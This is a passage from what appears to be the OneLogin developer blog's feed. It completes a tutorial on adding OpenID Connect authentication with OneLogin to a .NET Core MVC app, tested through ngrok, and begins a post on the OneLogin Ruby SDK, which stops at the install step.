&lt;p&gt;You should leave Ngrok running for the rest of this tutorial, as a new url is generated every time you restart it. This means you would have to keep changing in your code as you’ll see soon.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;step-2-create-an-openid-app-in-onelogin&quot;&gt;Step 2: Create an OpenId app in OneLogin&lt;&#x2F;h3&gt;
&lt;p&gt;Now we’re going to leave the code for a moment and setup an OpenId Connect app via the OneLogin portal. Once this step is complete we will jump back into the code to complete the integration with the ClientId and Secret that is generated during this step.&lt;&#x2F;p&gt;
&lt;p&gt;First off, we need to sign in to the OneLogin admin portal and create a new custom connector.&lt;&#x2F;p&gt;
&lt;img alt=&quot;OpenID Connect authentication with .NET Core setup&quot; class=blog-img-sm src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;blog_img2-20171120122747.jpg&quot; &#x2F;&gt;
&lt;p&gt;This is the basis of your OpenId Connect application and will require you to:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Enter a name for your application&lt;&#x2F;li&gt;
&lt;li&gt;Set the Sign On Method as OpenId Connect&lt;&#x2F;li&gt;
&lt;li&gt;Provide a &lt;strong&gt;Redirect Uri&lt;&#x2F;strong&gt; which is where your users will be sent after they successfully login. In our case we will use the https url that was assigned to us via ngrok with the addition of &lt;strong&gt;&#x2F;signin-oidc&lt;&#x2F;strong&gt; on the end which is where Dotnet expects the callback by default.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;E.g. https:&#x2F;&#x2F;2afc2196.ngrok.io&#x2F;signin-oidc&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;blog_img3-20171120123645.jpg&quot; alt=&quot;Basic Configuration window with Redirect URI field&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Once you have saved the new Connector you will see a “More Actions” button appear. Click this to “Add App to Connector”&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img class=blog-img-sm src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;blog_img4.jpg&quot; alt=&quot;More Actions drop-down menu
&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;You will be presented with the configuration page for a new application.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;blog_img5.jpg&quot; alt=&quot;Configuration page&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Click “Save” and then head to the &lt;strong&gt;SSO&lt;&#x2F;strong&gt; tab that appears.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;blog_img6.jpg&quot; alt=&quot;SSO tab&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now copy the &lt;strong&gt;Client ID&lt;&#x2F;strong&gt; and &lt;strong&gt;Client Secret&lt;&#x2F;strong&gt; that have been generated by OneLogin, and paste them into our Dotnet application where we created the placeholder values earlier.&lt;&#x2F;p&gt;
&lt;img class=blog-img-sm src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;blog_img7.jpg&quot; alt=&quot;Setting the Token Endpoint Authentication Method to Post&quot; &#x2F;&gt;
&lt;p&gt;Then set the &lt;strong&gt;Token Endpoint Authentication Method&lt;&#x2F;strong&gt; to &lt;strong&gt;POST&lt;&#x2F;strong&gt; and click “Save”. You need to do this because the default Dotnet OpenId Connect libraries do not support the &lt;strong&gt;Basic&lt;&#x2F;strong&gt; method of authentication.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;step-3-create-the-connection-between-our-app-and-onelogin&quot;&gt;Step 3: Create the connection between our app and OneLogin&lt;&#x2F;h3&gt;
&lt;p&gt;Now we are going to switch back to our Dotnet app where we will add the authentication piece that will redirect requests for “Secured” pages to OneLogin for authentication if the user is not currently authenticated.&lt;&#x2F;p&gt;
&lt;p&gt;We set this up in the &lt;code&gt;Startup.cs&lt;&#x2F;code&gt; that is included in the default MVC project.&lt;&#x2F;p&gt;
&lt;p&gt;First off let’s add the required references.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Startup.cs&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;using&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; Microsoft&lt;&#x2F;span&gt;&lt;span&gt;.AspNetCore.Authentication.OpenIdConnect&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;using&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; Microsoft&lt;&#x2F;span&gt;&lt;span&gt;.AspNetCore.Authentication.Cookies&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;using&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; Microsoft&lt;&#x2F;span&gt;&lt;span&gt;.AspNetCore.HttpOverrides&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then we want to add OpenId Connect and Cookie authentication configuration options to the “ConfigureServices” method. This is where you will enter the Client ID, Client Secret and your OneLogin OIDC endpoint.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Startup.cs&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;services&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;AddAuthentication&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt;options&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   options&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;DefaultScheme&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; CookieAuthenticationDefaults&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;AuthenticationScheme&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   options&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;DefaultChallengeScheme&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; OpenIdConnectDefaults&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;AuthenticationScheme&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;AddCookie&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;AddOpenIdConnect&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt;o&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       o&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;ClientId&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;your client_id&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       o&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;ClientSecret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;your client_secret&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       o&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;Authority&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;https:&#x2F;&#x2F;&amp;lt;subdomain&amp;gt;.onelogin.com&#x2F;oidc&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       o&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;ResponseType&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;code&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       o&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;GetClaimsFromUserInfoEndpoint&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Note that you &lt;strong&gt;MUST NOT&lt;&#x2F;strong&gt; hardcode the Client Id and Client Secret in the Startup.cs file. I’ve only done this to simplify this sample but would a configuration file in normal circumstances.&lt;&#x2F;p&gt;
&lt;p&gt;Finally we append the following to the “Configure” method to tell the app to use authentication and also enable testing via Ngrok.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Startup.cs&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;app&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;UseAuthentication&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt; This is needed if running behind a reverse proxy&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt; like ngrok which is great for testing while developing&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;app&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;UseForwardedHeaders&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;new&lt;&#x2F;span&gt;&lt;span&gt; ForwardedHeadersOptions&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   RequireHeaderSymmetry&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   ForwardedHeaders&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ForwardedHeaders&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;XForwardedFor&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span&gt; ForwardedHeaders&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;XForwardedProto&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;em&gt;Note: The reason we “UseForwardedHeaders” is because when testing on localhost via Ngrok your app will see the protocol in use as HTTP rather than HTTPS. This then causes a problem when the OpenId Connect library constructs the Redirect Uri as it will have the HTTP protocol which is not permitted. By forwarding headers the original protocol is passed through to the app and it all just worksâ„¢.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;create-a-secure-page-for-testing&quot;&gt;Create a secure page for testing&lt;&#x2F;h4&gt;
&lt;p&gt;The final step is to create a page in our app that can only be viewed by an authenticated user.&lt;&#x2F;p&gt;
&lt;p&gt;To keep this simple we’re going to protect the “About” page as it already exists in the app. Go to the “HomeController” and add an “Authorize” directive to the “About” method.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;HomeController.cs&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;using&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; Microsoft&lt;&#x2F;span&gt;&lt;span&gt;.AspNetCore.Authorization&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span&gt;Authorize&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;public&lt;&#x2F;span&gt;&lt;span&gt; IActionResult&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; About&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   ViewData&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Message&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;You must be authenticated to view the About page&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;   return&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; View&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The “About” page now requires authentication so if an unauthenticated user attempts to view the page they will be redirected off to OneLogin to authenticate before being allowed access to the page.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;step-4-testing-our-new-authentication-flow&quot;&gt;Step 4: Testing our new authentication flow&lt;&#x2F;h3&gt;
&lt;p&gt;Now we’re ready to test our new OpenId Connect authentication end to end against OneLogin.&lt;&#x2F;p&gt;
&lt;p&gt;First off make sure your app is running and visible via a web browser using your Ngrok url.&lt;&#x2F;p&gt;
&lt;p&gt;Now make sure you have assigned your user in OneLogin to the OpenId Connect application that you created. You can do this under the Users tab by selecting your user account and then adding the new application.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;blog_img8.jpg&quot; alt=&quot;Assign New Login window&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The final step is to actually test that the authentication flow works.&lt;&#x2F;p&gt;
&lt;p&gt;To do this simply click on the “About” menu item.&lt;&#x2F;p&gt;
&lt;img class=blog-img-sm src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;blog_img9.jpg&quot; alt=&quot;About menu&quot; &#x2F;&gt;
&lt;p&gt;You will now get instantly redirected to your OneLogin login page where you will enter your username and password.&lt;&#x2F;p&gt;
&lt;img class=blog-img-sm src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;blog_img10.jpg&quot; alt=&quot;Your OneLogin login page&quot; &#x2F;&gt;
&lt;p&gt;On successful authentication, you will be redirected back to your app where a session will be created for your user account and the About page will be displayed.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;&#x2F;h3&gt;
&lt;p&gt;This was a really long post as there were a few items to configure. But as you can see, it’s really simple to add OpenId Connect authenticate to your Dotnet Core applications via OneLogin.&lt;&#x2F;p&gt;
&lt;p&gt;There are no additional client libraries to download and the code can run cross-platform. We’ve also made the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;onelogin&#x2F;openid-connect-dotnet-core-sample&quot; target=&quot;_blank&quot;&gt;source available on Github for this sample app&lt;&#x2F;a&gt; so check it out and let us know if you have any questions.&lt;&#x2F;p&gt;
&lt;p&gt;For more detail on our &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;openid-connect&quot;&gt;OpenId Connect APIs and workflows&lt;&#x2F;a&gt; see our developer documentation. You’ll also find additional &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;api-docs&#x2F;1&#x2F;getting-started&#x2F;dev-overview&quot;&gt;user management &amp;amp; multi factor authentication APIs&lt;&#x2F;a&gt; which will no doubt come in useful when baking security into your internal or customer facing applications.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Getting started with OneLogin APIs using Ruby</title>
        <published>2017-10-30T00:00:00+00:00</published>
        <updated>2017-10-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/getting-started-with-onelogin-apis-using-ruby/"/>
        <id>https://developers.onelogin.com/blog/getting-started-with-onelogin-apis-using-ruby/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/getting-started-with-onelogin-apis-using-ruby/">&lt;style&gt;
.blog-border {
    border: 1px solid #D5D5D5;
    padding: 10px;
    border-radius: 3px;
}
.blog-border.code {
    background: #f3f3f4;
    margin-bottom: 15px;
}
&lt;&#x2F;style&gt;
&lt;p&gt;Customers often tell us that one of the main attractions of OneLogin is that it makes it fast and easy to manage user identities. The easier they can do this, the better experience their users will have in terms of quickly accessing their apps.&lt;&#x2F;p&gt;
&lt;p&gt;While OneLogin provides a web UI to do this, our more advanced customers like to use code for user management. Because of that, we recently &lt;a href=&quot;&#x2F;blog&#x2F;go-beyond-the-login-with-onelogins-new-developer-sdks&quot;&gt;released new API client SDKs&lt;&#x2F;a&gt; that make performing user administration tasks with OneLogin faster and easier than ever before.&lt;&#x2F;p&gt;
&lt;p&gt;The goal of this post is to give you a quick start on how to use the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;onelogin&#x2F;onelogin-ruby-sdk&quot; target=&quot;_blank&quot;&gt;OneLogin Ruby gem&lt;&#x2F;a&gt; to access the OneLogin API and speed up some common Identity and Access Management tasks.&lt;&#x2F;p&gt;
&lt;p&gt;It contains sample code so if you want to follow along you will need a OneLogin account and valid API credentials. If you don’t have a OneLogin account or just want a sandbox to play with you can &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;developer-signup&quot;&gt;sign up for a free developer account here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;api-credentials&quot;&gt;API Credentials&lt;&#x2F;h3&gt;
&lt;p&gt;Every endpoint on the OneLogin API requires a valid &lt;strong&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.digitalocean.com&#x2F;community&#x2F;tutorials&#x2F;an-introduction-to-oauth-2&quot; target=&quot;_blank&quot;&gt;OAuth2 access_token&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;. A benefit of using the OneLogin Ruby gem is that it takes care of the authentication side for you.&lt;&#x2F;p&gt;
&lt;p&gt;That being said, your API credentials need to have been configured with the appropriate level of authorization for the requests that you intend to make.&lt;&#x2F;p&gt;
&lt;p&gt;For the purpose of these samples we will go with the highest authorization level, “Manage All,” but it’s always good practice to limit authorization to the minimum required for the tasks that you want to achieve.&lt;&#x2F;p&gt;
&lt;p&gt;You can generate API credentials by doing the following:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Log into Onelogin (&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;yourcompany.onelogin.com&quot;&gt;https:&#x2F;&#x2F;yourcompany.onelogin.com&lt;&#x2F;a&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;Navigate to your OneLogin admin console&lt;&#x2F;li&gt;
&lt;li&gt;Go to &lt;strong&gt;Settings &amp;gt; API&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Click on &lt;strong&gt;New Credential&lt;&#x2F;strong&gt;. You’ll see a screen like the one below.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;blog_img-20171030063727.jpg&quot; alt=&quot;Create New API Credential window&quot; &#x2F;&gt;
&lt;br&gt;
You can find the required authorization scopes for each request in the API documentation. E.g. To update a user you need “Manage All” or “Manage Users”.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;source-install&quot;&gt;Source &amp;amp; Install&lt;&#x2F;h3&gt;
&lt;p&gt;The source code for the OneLogin Ruby gem, along with a full list of available methods, is &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;onelogin&#x2F;onelogin-ruby-sdk&quot;&gt;on GitHub&lt;&#x2F;a&gt;. Feel free to contribute or report issues with the gem there.&lt;&#x2F;p&gt;
&lt;p&gt;Once you have a &lt;a href=&quot;https:&#x2F;&#x2F;www.codecademy.com&#x2F;articles&#x2F;ruby-setup&quot; target=&quot;_blank&quot;&gt;working Ruby environment&lt;&#x2F;a&gt; running Ruby version 1.9.3 or higher, open Terminal (on Mac OS) or PowerShell (on Windows), and install the OneLogin gem via &lt;a href=&quot;https:&#x2F;&#x2F;rubygems.org&#x2F;gems&#x2F;onelogin&quot; target=&quot;_blank&quot;&gt;RubyGems&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
